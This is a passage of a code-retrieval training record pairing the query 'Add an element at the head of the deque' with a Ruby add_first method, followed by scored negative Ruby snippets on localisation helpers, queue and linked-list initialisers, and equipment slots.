plural_keys.map(&:to_s)) - ['zero']).empty?\n end", "def worldwide?\n self.class.worldwide?(self.countries)\n end", "def who_translatable?\n !(who.nil? || who.blank? || ['?', '%'].include?(who[0]))\n end", "def default_locale?\n I18n.default_locale == I18n.locale\n end", "def key?(key, options)\n I18n.exists?(key, options.fetch(:locale, default_locale)) ||\n I18n.exists?(key, I18n.default_locale)\n end", "def outdated_translations? options = {}\n \n default_options = {\n :locale => :en,\n :delta_time => 23.hours\n }\n \n options = default_options.merge options\n \n translations = self.globalize_translations\n \n default = *(translations.select {|x| x.locale == I18n.default_locale})\n custom = *(translations.select {|x| x.locale == options[:locale]})\n \n if translations.size > 1 && default && custom\n difference = (default.updated_at - custom.updated_at).to_i.abs\n return (options[:delta_time].to_i.abs < difference)\n else\n return false\n end\n end", "def form_lang_combo_valid?\n # if the term is critical, these fields will not be submitted.\n # supply them from the database instead.\n if @course\n params[:course][:form_id] ||= @course.form.id if @course.form\n params[:course][:language] ||= @course.language\n params[:course][:term_id] ||= @course.term.id if @course.term\n end\n\n # check term has form\n t = Term.find(params[:course][:term_id])\n f = Form.find(params[:course][:form_id])\n\n unless t && f\n flash[:error] = \"Selected term or form not found.\"\n return false\n end\n\n unless t.forms.map { |f| f.id }.include?(params[:course][:form_id].to_i)\n flash[:error] = \"Form “#{f.name}” (id=#{f.id}) is not \" \\\n + \"available for term “#{t.title}”\"\n return false\n end\n\n # check form has language\n l = params[:course][:language]\n return true if f.has_language?(l)\n flash[:error] = \"There’s no language “#{l}” for form “#{f.name}”\"\n false\n end", "def translation_admin\n self.is_translation_admin?\n end", "def english_name?\n read_attribute(:name).present?\n end", "def languages?(candidate)\n raise ArgumentError, 'candidate must have a :languages key' unless candidate.has_key?(:languages)\n candidate[:languages].any? { |language| REQUIRED_LANGUAGES.include? language } ? true : false\nend", "def enabled_locales(app_path = nil)\r\n ::LinguaFranca.enabled_locales(app_path)\r\n end", "def one_translation_per_lang_per_key\n translation_exists = Translation.exists?(\n lang: self.lang,\n translator_id: self.translator.id,\n translator_type: self.translator.class.name,\n translation_key_id: self.key.id\n )\n\n unless translation_exists\n true\n else\n false\n self.errors.add(:lang, I18n.t('.one_translation_per_lang_per_key'))\n end\n end", "def match_locale_and_set_locale\n changed = false\n if I18n.available_locales.map(&:to_s).include?(configuration_params[:locale])\n unless cookies[:locale] == configuration_params[:locale]\n I18n.locale = cookies[:locale] = configuration_params[:locale] \n changed = true\n end\n changed\n end\n end", "def textual?\n properties.include?(\"textual\")\n end", "def enabled_locales\n self[:enabled_locales].split(\",\").map(&:to_sym)\n end", "def enabled_locales\n self[:enabled_locales].split(\",\").map(&:to_sym)\n end", "def us_fulltext?\n self.any? { |item| item.us_availability == HathiTrust::Constants::FT }\n end", "def test_available_locales\n locales = %w[ar az bg bs ca cs da de el en en-GB es es-PA et eu fa fi fr gl he hr hu id it ja ko lt lv mk mn nl no pl pt pt-BR ro ru sk sl sq sr sr-YU sv th tr uk vi zh zh-TW]\n assert_equal locales.uniq.sort.map(&:to_sym), MessageCustomize::Locale.available_locales\n end", "def prioritized?\n @prioritized ||= PRIORITIES.include?(language.to_s)\n end", "def each_locale(include_default_locale = true, &block)\n current_locale = ::Mongoid::Fields::I18n.locale\n _locales = include_default_locale ? self.locales : (self.locales - [self.default_locale])\n\n _locales.each do |locale|\n ::Mongoid::Fields::I18n.with_locale(locale) do\n yield locale, current_locale.to_s == locale.to_s\n end\n end\n end", "def has_translated_carrierwave_uploaders?\n !!with(:globalize) { |g| g.active_record_for_translations.features.has_carrierwave_uploaders? }\n end", "def respond_to_translatable_attribute?(name)\n name.to_s =~ /^(#{self.class.translatable_attributes.join('|')})(_[a-z]+)?(=)?$/ && [$1, $2 ? $2[1..-1] : nil, $3].compact\n end", "def isValid?\n if @Valid.nil?\n params = []\n joins = ''\n where = ''\n\n if not @Locales.empty?\n joins += ' LEFT JOIN `Locales` AS L ON RI.Locale = L.ID'\n where = 'L.Name COLLATE NOCASE IN (' + Array.new(@Locales.count, '?').join(',') + ') AND '\n params += @Locales\n end\n\n sql = \"SELECT 1 FROM `RailsI18N` RI #{joins} WHERE #{where}RI.`NameLowercase` = ? LIMIT 1\"\n params << @Name.downcase\n\n @Valid = Data::Storage.getStatement(sql).execute(*params).count > 0\n end\n @Valid\n end", "def matching_locales\n @_matching_locales ||= ::I18n.available_locales.select do |locale|\n locale.to_s.split(\"-\")[0] == language_code\n end\n end", "def i18n_set? key\n I18n.t key, :raise => true rescue false\n end", "def i18n_set? key\n I18n.t key, :raise => true rescue false\n end" ]
[ "0.7883965", "0.77944505", "0.76884496", "0.7644414", "0.7344893", "0.732136", "0.7238932", "0.7126837", "0.7065136", "0.70281917", "0.700737", "0.69955033", "0.69032913", "0.6899956", "0.6871603", "0.686387", "0.68426937", "0.68056726", "0.67910546", "0.6739507", "0.6736319", "0.67348653", "0.67287046", "0.66862893", "0.6667474", "0.66455907", "0.66455907", "0.6601544", "0.6583114", "0.6495473", "0.6476809", "0.6443055", "0.6413382", "0.64102215", "0.6393839", "0.63877434", "0.6335598", "0.6304297", "0.6257621", "0.6254724", "0.6253124", "0.6249407", "0.62126225", "0.6201882", "0.6183164", "0.61317885", "0.613156", "0.611908", "0.61152446", "0.61094654", "0.60922736", "0.60922736", "0.60819405", "0.60819405", "0.605904", "0.60425913", "0.60146934", "0.601446", "0.5979744", "0.5972498", "0.5917294", "0.59132993", "0.5907078", "0.59043115", "0.58941483", "0.58747953", "0.5869793", "0.58570266", "0.5846586", "0.5844912", "0.5834388", "0.5832489", "0.58292735", "0.58277476", "0.5826785", "0.5824182", "0.58211327", "0.5814894", "0.57977253", "0.5793723", "0.5787305", "0.578566", "0.5781588", "0.576913", "0.5764018", "0.57538366", "0.5753126", "0.5742368", "0.57400715", "0.57400715", "0.57378095", "0.57322764", "0.5726915", "0.5724445", "0.5716049", "0.57146794", "0.5708423", "0.5702419", "0.5692332", "0.5692332" ]
0.6986671
12
needed by Layouter code, but slots are no physical elements so they
def update_position end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def to_slot\n @sol.to_parfait\n @sol.to_slot(nil)\n end", "def initialize:\n\t\t@slots = []", "def slot(slot, node, carrier)\n type =\n if slot.carrier == :loss\n :loss\n elsif slot.is_a?(Atlas::Slot::Elastic)\n :elastic\n elsif slot.is_a?(Atlas::Slot::Dynamic)\n :edge_based\n end\n\n slot_from_data(node, carrier, slot.direction, type)\n end", "def slot_definition(compiler)\n raise \"not iplemented in #{self}\"\n end", "def to_slot(compiler)\n raise \"not implemented in #{self}:#{self.class}\"\n end", "def slot_id\n super\n end", "def to_slot( _ )\n raise \"Not implemented for #{self}\"\n end", "def available_slots\n # Doit regarder le board et renvoyer un array avec les slots restants\n slots = []\n @board.each do |k,v|\n v.each_with_index { |num,i| slots << k + (i+1).to_s if num.zero?}\n end\n slots\n end", "def empty_slots\n # INITIALIZE an array of empty slots\n empty_slots_indices = []\n # FOR EACH empty slot access its index\n @slots.each_with_index do |slot_num, index|\n # IF slot_num is 0\n if slot_num == 0\n # ADD its index in the collection of empty slots\n empty_slots_indices << index\n end\n end\n empty_slots_indices\n end", "def slot\n Item.find(item_id).slot\n end", "def pistaa_slot_items(slot)\n Pistaa[slot].item_keys\n end", "def get_slot(slot)\n equipments[slot]\n end", "def dual_wield?\r\n slot_type == 1\r\n end", "def vacant_slots(from, to)\n\n end", "def test_slots_pollution\n new_component_class = Class.new(ViewComponent::Base)\n new_component_class.include(ViewComponent::Slotable)\n # this returned:\n # [SlotsComponent::Subtitle, SlotsComponent::Tab...]\n assert_empty new_component_class.slots\n end", "def establish_slots(node, document)\n (document.out_slots + document.in_slots).each do |slot|\n next if slot.carrier == :coupling_carrier\n\n collection = node.slots.public_send(slot.direction)\n\n ref_slot =\n if collection.include?(slot.carrier)\n collection.get(slot.carrier)\n else\n collection.add(slot.carrier)\n end\n\n ref_slot.set(:model, slot)\n ref_slot.set(:type, :elastic) if slot.is_a?(Slot::Elastic)\n end\n end", "def available_slots()\n return @size - @used_spaces\n end", "def current_primary_slot\n super\n end", "def slotnames\n @slots.keys\n end", "def head() slot(:head) end", "def based_on_slot\n @node.node.input(@config.efficiency_based_on)\n end", "def partial_slot(node)\n in_slots(node).detect do |slot|\n slot.share && ! slot.share.zero? &&\n slot.edges.all? { |edge| edge.demand || child_share(edge) } &&\n # We don't need to explicitly test that there are two or more\n # edges since an edge with a demand and share will be calculated\n # by the earlier FromCompleteEdge.\n slot.edges.count(&:demand) > 0 &&\n slot.edges.sum { |edge| edge.demand || Rational(0) } > 0 &&\n slot.edges.count { |edge| child_share(edge) } > 0\n end\n end", "def slot_ip(opts)\n opts = check_params(opts,[:cluster_name,:slot_ids])\n super(opts)\n end", "def nasa_space_craft; end", "def slot_from_data(node, carrier, direction, type = nil)\n Qernel::Slot.factory(\n type,\n slot_key(node.key, carrier.key, direction),\n node,\n carrier,\n direction == :in ? :input : :output\n )\n end", "def each_slot(&blk)\n @slots.each do |slot|\n blk.call(slot)\n end\n end", "def create_slot_ip(opts)\n opts = check_params(opts,[:cluster_name,:slot_ids,:slot_ips])\n super(opts)\n end", "def add_slot\n @limit += 1\n end", "def initialize_raw_slots(slots) #:nodoc:\n @slots = {}\n\n slots.each do |name,value|\n s = Slot.new(self, name)\n s.raw_value = value\n\n @slots[name.to_s] = s\n end\n end", "def import_slot!(slot, dataset)\n key = FromAtlas.slot_key(slot.node.key, slot.carrier, slot.direction)\n attributes = {}\n\n unless slot.is_a?(Atlas::Slot::Elastic)\n attributes[:conversion] = val(slot, :share)\n end\n\n if slot.carrier == :coupling_carrier && slot.in?\n attributes[:reset_to_zero] = true\n end\n\n dataset[Hashpipe.hash(key)] = attributes\n end", "def create_slot\n options = {object: self}\n options.merge!(constraints: Settings.slots.constraints) if self.respond_to?(:type)\n Slots::Slot.new(options)\n end", "def empty_slot\n @positions.index {|i| i.nil?} || @positions.size\n end", "def equipment; end", "def to_slot(compiler)\n to = SlotMachine::Slotted.for(:message , self.slot_position(compiler))\n from = @value.to_slotted(compiler)\n assign = SlotMachine::SlotLoad.new(self,to,from)\n return assign unless @value.is_a?(CallStatement)\n @value.to_slot(compiler) << assign\n end", "def active_slot\n described_class::Testing._native_active_slot(stack_recorder)\n end", "def inspect\n \"<#{self.class}: @slot_first=#{@slot_first}, @slot_last=#{@slot_last}, @slot_time=#{@slot_time}, @series=#{series.inspect}>\"\n end", "def planets; end", "def zeros_slot(var, slot_name, op_name)\n named_slots = slot_dict(slot_name)\n unless named_slots.key?(var_key(var))\n named_slots[var_key(var)] = create_zeros_slot(var, op_name)\n end\n named_slots[var_key(var)]\n end", "def [](slotname)\n @slots[slotname.to_s].value rescue nil\n end", "def bound_parslet; end", "def has_slot?(slot)\n slots.include? valid_slot_name!(slot)\n end", "def slot_time\n 0\n end", "def capacity\n @slots.length\n end", "def ruby_to_slot(ruby)\n ruby_to_sol(ruby)\n to_slot\n end", "def manage_time_slots\n @time_slot = TimeSlot.new\n\n end", "def slot(name)\n valid_slot_def! SlotDefinition.new(self, name)\n end", "def update!(**args)\n @slots = args[:slots] if args.key?(:slots)\n end", "def update!(**args)\n @slots = args[:slots] if args.key?(:slots)\n end", "def active_section_plane\n end", "def active_section_plane\n end", "def test_sub_components_pollution\n new_component_class = Class.new(ViewComponent::Base)\n # this returned:\n # [SlotsV2Component::Subtitle, SlotsV2Component::Tab...]\n assert_empty new_component_class.registered_slots\n end", "def connect(p0) end", "def constellation; end", "def dual_slots\n return @dual_slots unless @dual_slots.nil?\n load_notetag_dual_slots\n return @dual_slots\n end", "def layer\n end", "def slots\n if !@slot_checkboxes.empty?\n @slot_checkboxes.keys.map do |k|\n k if Native(@slot_checkboxes[k]).elm.checked\n end.compact\n elsif @slot_dropdown\n [Native(@slot_dropdown).elm.value]\n end\n end", "def active_section_plane\n end", "def hide_pistaa_slot_item(slot, item)\n pistaa_hidden_items << [slot, item]\n end", "def build_slots(current_time, finish_time, start_hour, finish_hour)\n while current_time < finish_time\n slots_quantity = get_slots_quantity(start_hour, finish_hour)\n\n (1..slots_quantity).each do\n verterx = @elements_factory.create_vertex(current_time, current_time.class,\n {gained_weight: 0, duration: @slots_size})\n @slots << verterx\n\n current_time += @slots_size\n break if current_time >= finish_time\n end\n\n current_time = current_time.beginning_of_day + start_hour.seconds_since_midnight.seconds + 1.day if start_hour.seconds_since_midnight > finish_hour.seconds_since_midnight\n end\n end", "def unequip_slot(slot)\n if(equipped_item = equipped_items.first(:conditions => {:slot => slot}))\n equipped_item.unequip!\n else\n true\n end\n end", "def starship; end", "def _reset_for_init\n @slot_instructions = Label.new(source_name, source_name)\n @current = @slot_instructions\n end", "def clear!\n @slots.map(&:clear!)\n @filled = 0\n end", "def change_equip(slot_id, item)\n return unless trade_item_with_party(item, equips[slot_id])\n return if item && !etype_can_equip?(slot_id, item)\n @equips[slot_id].object = item\n refresh\n end", "def slot_params\n params.require(:slot).permit(:column, :row)\n end", "def tabling_slot_member(tabling_slot)\n self.tabling_slot_members.where(tabling_slot_id: tabling_slot.id).first\n end", "def slot_dispatcher(m, sign, slots)\n return unless @game && m.user.authname == @initiator.irc_authname\n\n case sign\n when '+'\n\n if slots\n slots.to_i.times { add_slot }\n m.reply I18n.mixer.n_slots_added(slots, slots_message)\n else\n if @limit >= MIN_SLOTS\n add_slot\n m.reply I18n.mixer.slot_added(slots_message)\n end\n end\n\n when '-'\n\n if slots\n removed_slots = 0\n slots.to_i.times { |i|\n remove_slot\n removed_slots = i+1\n break unless @limit > MIN_SLOTS\n }\n m.reply I18n.mixer.n_slots_removed(removed_slots, slots_message)\n else\n if @limit > MIN_SLOTS\n remove_slot\n m.reply I18n.mixer.slot_removed(slots_message)\n end\n end\n\n end\n\n if ready_to_begin?\n each_team { |blue, red| begin_game!(m, blue, red) }\n end\n end", "def replication_slots\n typed_exec(<<-SQL)\n SELECT\n slot_name::TEXT,\n plugin::TEXT,\n slot_type::TEXT,\n database::TEXT,\n temporary,\n active\n FROM pg_replication_slots\n SQL\n end", "def slot_number\n if slot.present?\n slot.number\n else\n nil\n end\n end", "def slots\n @slots = Candlestick.slots\n end", "def discard_equip(item)\n slot_id = equips.index(item)\n @equips[slot_id].object = nil if slot_id\n end", "def set_item_slot\n @item_slot = ItemSlot.find(params[:id])\n end", "def all\n court_slots\n end", "def initialize(x, y)\n super(x, y)\n @actor = nil\n @slot_id = 0\n end", "def local_slot(name)\n slot = 0\n while slot < @local_count\n return slot if @local_names[slot] == name\n slot += 1\n end\n end", "def attended_slots\n self.tabling_slot_members.where(status_id: Status.where(name: :attended).first).map do |tsm|\n tsm.tabling_slot\n end\n end", "def create_slot_window\n @slot_window = Window_EquipSlot.new(SLOT_WINDOW_X, SLOT_WINDOW_Y)\n @slot_window.help_window = @help_window\n @slot_window.actor = @actor\n @slot_window.set_handler(:ok, method(:on_slot_ok))\n @slot_window.set_handler(:cancel, method(:return_scene))\n @slot_window.set_handler(:up, method(:status_return))\n @slot_window.set_handler(:x, method(:command_clear))\n @slot_window.set_handler(:start, method(:on_toggle_help))\n @slot_window.set_handler(:pagedown, method(:next_actor))\n @slot_window.set_handler(:pageup, method(:prev_actor))\n end", "def validate_slots(f, status)\n [:lo, :med, :hi, :rig].each do |s|\n slots_used = f.modules(s).size\n slots_available = f.slots_available(s)\n status[\"#{s}_slots\"] = [0, slots_available - slots_used].min\n end\n end", "def pos_to_slot()\n {1 => 19, 2 => 25, 3 => 31, 4 => 87, 5 => 93, 6 => 99, 7 => 155, 8 => 161, 9 => 167}\nend", "def to_slotted(_)\n SlotMachine::Slotted.for(:message ,[ :return_value])\n end", "def update!(**args)\n @slot_name = args[:slot_name] if args.key?(:slot_name)\n end", "def can_equip?(item, slot)\n item.allowed_slot == slot && items.include?(item)\n end", "def proxy_slot( object )\n @slot_proxy = object\n end", "def pistaa_slot_item_hidden?(slot, item)\n pistaa_hidden_items.include? [slot, item]\n end", "def slot_id=(slot_id)\n return if @slot_id == slot_id\n @slot_id = slot_id\n refresh\n self.oy = 0\n end", "def update!(**args)\n @slot_key = args[:slot_key] if args.key?(:slot_key)\n @slot_name = args[:slot_name] if args.key?(:slot_name)\n end", "def item_slot_params\n params.require(:item_slot).permit(:item_id, :character_id, :uses, :notes, :gm_notes)\n end", "def write_to_slot(slot, tag, blocks)\n if slot.is_dirty == 1\n write_to_main_memory(slot)\n end\n slot.is_valid = 1\n slot.tag = tag\n slot.saved_blocks = blocks\n end", "def valid_slot\n Slots::Slot.new(from: booking_slots.constraints.series.find{ |slot| slot.in_the_future?}, constraints: booking_slots.constraints)\n end", "def slot(slot_name, **args, &block)\n # Raise ArgumentError if `slot` does not exist\n unless slots.keys.include?(slot_name)\n raise ArgumentError.new \"Unknown slot '#{slot_name}' - expected one of '#{slots.keys}'\"\n end\n\n slot = slots[slot_name]\n\n # The class name of the Slot, such as Header\n slot_class = self.class.const_get(slot[:class_name])\n\n unless slot_class <= ViewComponent::Slot\n raise ArgumentError.new \"#{slot[:class_name]} must inherit from ViewComponent::Slot\"\n end\n\n # Instantiate Slot class, accommodating Slots that don't accept arguments\n slot_instance = args.present? ? slot_class.new(**args) : slot_class.new\n\n # Capture block and assign to slot_instance#content\n slot_instance.content = view_context.capture(&block).to_s.strip.html_safe if block_given?\n\n if slot[:collection]\n # Initialize instance variable as an empty array\n # if slot is a collection and has yet to be initialized\n unless instance_variable_defined?(slot[:instance_variable_name])\n instance_variable_set(slot[:instance_variable_name], [])\n end\n\n # Append Slot instance to collection accessor Array\n instance_variable_get(slot[:instance_variable_name]) << slot_instance\n else\n # Assign the Slot instance to the slot accessor\n instance_variable_set(slot[:instance_variable_name], slot_instance)\n end\n\n # Return nil, as this method should not output anything to the view itself.\n nil\n end", "def slot (number, address)\r\n @slots[number] = {:address => address, :size => @slot_size}\r\n end", "def create_slot(primary, val, name, colocate_with_primary: true)\n TensorStream.variable_scope(nil, primary.op.name + \"/\" + name) do\n return create_slot_var(primary, val, \"\", nil) if colocate_with_primary\n\n TensorStream.colocate_with(primary) do\n return create_slot_var(primary, val, \"\", nil)\n end\n end\n end", "def [](slot)\n ((@min + @max) / (@slot_num + 1)) * slot\n end", "def update!(**args)\n @slot_names = args[:slot_names] if args.key?(:slot_names)\n end", "def update!(**args)\n @slot_names = args[:slot_names] if args.key?(:slot_names)\n end", "def update!(**args)\n @slot_names = args[:slot_names] if args.key?(:slot_names)\n end", "def nebula; end", "def write_to_main_memory(slot)\n block_start_address = slot.tag + slot.num + \"0\"\n block_address = block_start_address.to_i(16)\n slot.saved_blocks.each do |block|\n @main_memory.content[block_address] = block\n block_address += 1\n end\n slot.is_dirty = 0\n end", "def set_slot\n @slot = Slot.find(params[:id])\n end", "def set_slot\n @slot = Slot.find(params[:id])\n end", "def slot(*names)\n names = [names].flatten\n names.each do |name|\n name = valid_signal_name!(name)\n slots << name\n end\n end" ]
[ "0.6658211", "0.6370766", "0.6256086", "0.62354", "0.61396736", "0.61171", "0.6086028", "0.5884372", "0.5861047", "0.5823541", "0.57861555", "0.57166207", "0.5708245", "0.568806", "0.5628054", "0.55974954", "0.5574558", "0.5559149", "0.55546427", "0.5508113", "0.5505619", "0.55025214", "0.5481042", "0.5418063", "0.54116493", "0.5400743", "0.5386193", "0.5376551", "0.53736955", "0.5363946", "0.5353181", "0.53462493", "0.53298473", "0.53263706", "0.5310702", "0.5305898", "0.52925926", "0.52722114", "0.5270424", "0.5267921", "0.526248", "0.5259256", "0.52344704", "0.52340126", "0.52258134", "0.52122766", "0.5209351", "0.5209351", "0.52090114", "0.52090114", "0.5205735", "0.52046055", "0.51962143", "0.519328", "0.51763165", "0.517585", "0.517109", "0.5167137", "0.51572496", "0.5143288", "0.5130981", "0.51258945", "0.51244164", "0.51140493", "0.5110937", "0.51065236", "0.5098799", "0.5098073", "0.5096675", "0.50966144", "0.5086333", "0.5085988", "0.50805724", "0.5078913", "0.507706", "0.5066145", "0.5064253", "0.5064177", "0.5059825", "0.5051392", "0.50479245", "0.50304717", "0.5030021", "0.50256974", "0.50213844", "0.5013876", "0.5012642", "0.5008968", "0.50041026", "0.5000839", "0.49994862", "0.49867174", "0.49857834", "0.49734935", "0.49734935", "0.49734935", "0.49703866", "0.49694458", "0.4960454", "0.4960454", "0.49551967" ]
0.0
-1
Initialize an empty deque
def initialize @size = 0 @head = nil @tail = nil end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def initialize\n @queue = []\n end", "def initialize()\n @head = nil\n @tail = nil\n @size = 0\n end", "def initialize\n\t\t@head = nil\n\t\t@tail = nil\n\t\t@size = 0\n\tend", "def initialize\r\n @head = nil\r\n @tail = nil\r\n @size = 0\r\n end", "def initialize\n @head = nil\n @tail = nil\n @size = 0\n end", "def initialize(data=nil)\n @first = QueueNode.new data unless data.nil?\n @first ||= nil\n @last = @first\n end", "def initialize\n empty!\n end", "def initialize\n empty!\n end", "def initialize\n @size = 0\n @head = nil\n end", "def initialize\n\t\tself.head = nil\n\t\tself.tail = nil\n\t\tself.length = 0\n\tend", "def initialize\n @store = Array.new(MAX_BUFFER, nil) # circular buffer\n @front = @back = -1 # track index of front/back\n end", "def initialize\n @head = nil\n @tail = nil\n @size = 0\n end", "def initialize\n @head = nil\n @tail = nil\n @size = 0\n end", "def initialize()\n \n @head = nil\n @tail = nil \n end", "def initialize\n @size = 0\n clear\n end", "def initialize\n\t @tail=nil\n\t @head=nil\n\t @sz=0\n\tend", "def initialize\n self.head = nil\n self.tail = nil\n\t\tself.length = 0\n\tend", "def initialize\n\t\t@head = nil\n\t\t@tail = nil\n\tend", "def initialize\r\n @head = nil\r\n @tail = nil\r\n end", "def initialize(k)\n @q = Array.new(k) {nil}\n @size = k\n @openings = k\n @head = nil\n @tail = 0\n end", "def initialize list\n @queue = Queue.new # *sigh*... the Queue api sucks sooo much...\n\n list.each { |i| @queue << i }\n N.times { @queue << nil }\n end", "def initialize\n @head = nil\n @length = 0\n end", "def initialize\n @head = nil\n @tail = nil\n end", "def initialize()\n @queue = Queue.new\n end", "def initialize()\n clear()\n end", "def initialize\n self.head = nil\n self.tail = nil\n self.length = 0\n end", "def initialize\n clear\n end", "def initialize\n @head = nil\n @tail = nil\n end", "def initialize(size)\n @array = Array.new(size) {|index| nil}\n end", "def empty!\n @head = @tail = nil\n @size = 0\n end", "def initialize(k)\n @q = Array.new(k);\n @length = 0;\n @front = 0;\n @rear = -1;\n end", "def initialize; @ary = []; end", "def initialize()\n @curr=nil\n @len=0\n end", "def initialize\n @queue = Queue.new \n @state = :free\n @producers = []\n @consumers = []\n end", "def inits\n LazyList.new do\n next self if empty?\n Cons.new(List[head], tail.inits.map { |list| list.cons(head) })\n end\n end", "def initialize\n\t\t@head = nil\n\t\t@tail = nil\n\t\t@largo = 0\n\tend", "def initialize(n)\n @queue = []\n @size = n\n @ptr = 1\n end", "def initialize\n @elements = []\n end", "def initialize\n @elements = []\n end", "def initialize(*)\n super\n @queues = Hash.new{|h,k| h[k] = Array.new } # autovivifying\n end", "def initialize\n clear\n end", "def initialize\n @queue_for_storage = []\n @queue_for_removal = []\n @stored = []\n @removed = []\n end", "def initialize\n @elements = []\n end", "def initialize\n clear\n end", "def initialize\n clear\n end", "def initialize\n clear\n end", "def initialize(k)\n @size = k\n @queue = []\n end", "def initialize size = nil, node = nil\n\t\t@count = 0\n\t\t@size = size\n\t\tif node == nil\n\t\t\t@head = nil\n\t\t\t@tail = nil\n\t\telse\n\t\t\t@head = node\n\t\t\tcurrent = @head\n\t\t\tuntil current == nil\n\t\t\t\tif current.next == nil\n\t\t\t\t\t@tail = current\n\t\t\t\tend\n\t\t\t\tcurrent = current.next\n\t\t\tend\n\t\tend\n\tend", "def initialize()\n clear\n end", "def empty\n @empty ||= new\n end", "def initialize\n @size = 10\n @array = Array.new(@size) { [] }\n @count = 0\n end", "def initialize(is_dfs=true)\n @container = []\n @remover = (is_dfs) ? :pop\n : :shift\n end", "def initialize\r\n self.items = []\r\n end", "def initialize\n @collection = []\n end", "def init\n return EmptyList if tail.empty?\n LazyList.new { Cons.new(head, tail.init) }\n end", "def initialize\n @queue = []\n @current_action = nil\n end", "def initialize\n @buf_list = []\n @cur_buf = @buf_tail_idx = -1\n @offset = 0\n @is_eos = false\n add_buf\n @cur_buf = @buf_tail_idx\n end", "def initialize_buffer\r\n @buffer = []\r\n @pointer = 0\r\n def @buffer.clear\r\n @pointer = 0\r\n super\r\n end\r\n end", "def initialize(content=nil)\n @content = []\n end", "def initialize\n @logger = VWO::Logger.get_instance\n @queue = []\n end", "def initialize\n @items = []\n end", "def initialize\n\t@read_q = Queue.new\n\t@conn = nil\n end", "def initialize(head = nil)\r\n\t\t@head = head\r\n\t\t@tail = nil\r\n\tend", "def initialize\n @items = []\n end", "def clear\n @que.clear\n end", "def initialize(max_size)\n @head = nil\n @max_size = max_size\n @current_size = 0\n end", "def init; @entries = [] end", "def initialize\n\t\t@nodes = []\n\tend", "def initialize(head,tail)\n @head = nil\n @tail = nil\n end", "def initialize\n # If the head is nil it means the list is empty!\n @head = nil\n end", "def initialize\n @tail = @cur = Bcell.new(\"EOF\", nil, nil)\n @head = Bcell.new(\"\", nil, @cur) # prevが不要となった\n @cur.prev = @head\n end", "def initialize\n @cards = []\n @values = [0]\n end", "def initialize(capacity, broken: false)\n @capacity = capacity\n @elts = []\n @broken = broken\n end", "def clear\n @que.clear\n self\n end", "def clear\n @head = nil\n @tail = nil\n @size = 0\n end", "def initialize\n @queue = []\n @waiting = []\n @mutex = Mutex.new\n end", "def initialize\n @items = []\n end", "def initialize\n @chain = Concurrent::Array.new\n end", "def initialize\n super()\n @elements = [ ]\n end", "def initialize\n @head = nil\n end", "def initialize\n\t\t@e = []\n\tend", "def initialize(data = nil)\r\n\t\t@head = Node.new(data)\r\n\t\t@tail = nil\r\n\t\tif data==nil\r\n\t\t\t@size = 0\r\n\t\telse\r\n\t\t\t@size = 1\r\n\t\tend\r\n\tend", "def initialize(arr=[])\n @head = 0\n super\n end", "def initialize\n @queue_options = {}\n @queue_configs = []\n end", "def cons(x)\n queue(Stream.cons(->{x}, ->{@front}), @front_len + 1,\n exec1(@front_schedule),\n @rear, @rear_len, exec1(@rear_schedule))\n end", "def initialize()\n @items = nil\n end", "def init\n for i in 0...@tree.size\n @tree[i] = 0\n end\n end", "def initialize()\n\t@list_arr\t= []\nend", "def clear\n @que.clear\n end", "def clear\n @que.clear\n end", "def clear\n @count = 0\n @head = nil\n @tail = nil\n end", "def initialize(disque, queues: [Disquo::DEFAULT_QUEUE], concurrency: 10, wait_time: 1)\n @disque = disque\n @queues = Array(queues)\n @threads = Concurrent::FixedThreadPool.new(concurrency)\n @busy = Concurrent::AtomicFixnum.new\n @wait_time = wait_time\n end", "def initialize(arr=[])\n @tree = []\n @tree.push(:dummy_head)\n 0.upto(arr.size-1) do |i|\n push(arr[i])\n end\n end", "def clear_data\n self.mutex.synchronize do\n self.seq = 0\n self.beg = 0\n self.cur = 0\n self.queue = Array.new( self.size )\n end\n end", "def reset!\n @queue = []\n @consumers = []\n end", "def initialize(limit = nil)\n @mutex = Mutex.new\n @waiting = Set.new\n @num_waiting = Concurrent::AtomicFixnum.new\n @closed = Concurrent::AtomicBoolean.new\n @raise_exception = Concurrent::AtomicBoolean.new(false)\n\n if limit\n @queue = SizedQueue.new(Integer(limit))\n else\n @queue = Queue.new\n end\n end", "def initialize\n @nodes = []\n end", "def empty!\r\n\t\t@items = []\r\n\tend", "def initialize\n @sequence = []\n end", "def initialize\n\t @items, @max = [], []\n\tend" ]
[ "0.6575215", "0.64758325", "0.6460147", "0.637764", "0.63326675", "0.6329373", "0.6318055", "0.6318055", "0.6314551", "0.62854624", "0.6274274", "0.62731194", "0.6252542", "0.6235091", "0.6157755", "0.6149349", "0.6145578", "0.61340404", "0.61147696", "0.6090631", "0.6083209", "0.6050301", "0.6045628", "0.6042425", "0.6033676", "0.59961945", "0.5966067", "0.5953574", "0.59529454", "0.5945894", "0.5942618", "0.5940672", "0.59337085", "0.59035707", "0.58821046", "0.58737975", "0.58325624", "0.58221406", "0.58221406", "0.5820534", "0.5811633", "0.580324", "0.5802926", "0.5779173", "0.5779173", "0.5779173", "0.57586884", "0.57541317", "0.57504505", "0.573406", "0.57282215", "0.5710991", "0.5699101", "0.5684769", "0.56834817", "0.566797", "0.564936", "0.5638176", "0.5632232", "0.5627996", "0.56261015", "0.5618967", "0.5613206", "0.5610399", "0.5539284", "0.55385363", "0.5538088", "0.5526376", "0.55140066", "0.55095917", "0.5500397", "0.5498354", "0.54945105", "0.5473163", "0.5457653", "0.5453775", "0.54507387", "0.5439872", "0.5439238", "0.54380983", "0.5437665", "0.5433466", "0.54229116", "0.5416416", "0.54086655", "0.54084516", "0.5395898", "0.53881806", "0.53769606", "0.53769606", "0.5364921", "0.53583", "0.5355725", "0.53504974", "0.53409165", "0.5337594", "0.5332188", "0.533088", "0.5330458", "0.5327157" ]
0.6464164
2
Add an element at the head of the deque
def add_first(elt) @head = Node.new(elt, @head, nil) if @size == 0 @tail = @head else @head.next.previous = @head end @size += 1 end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
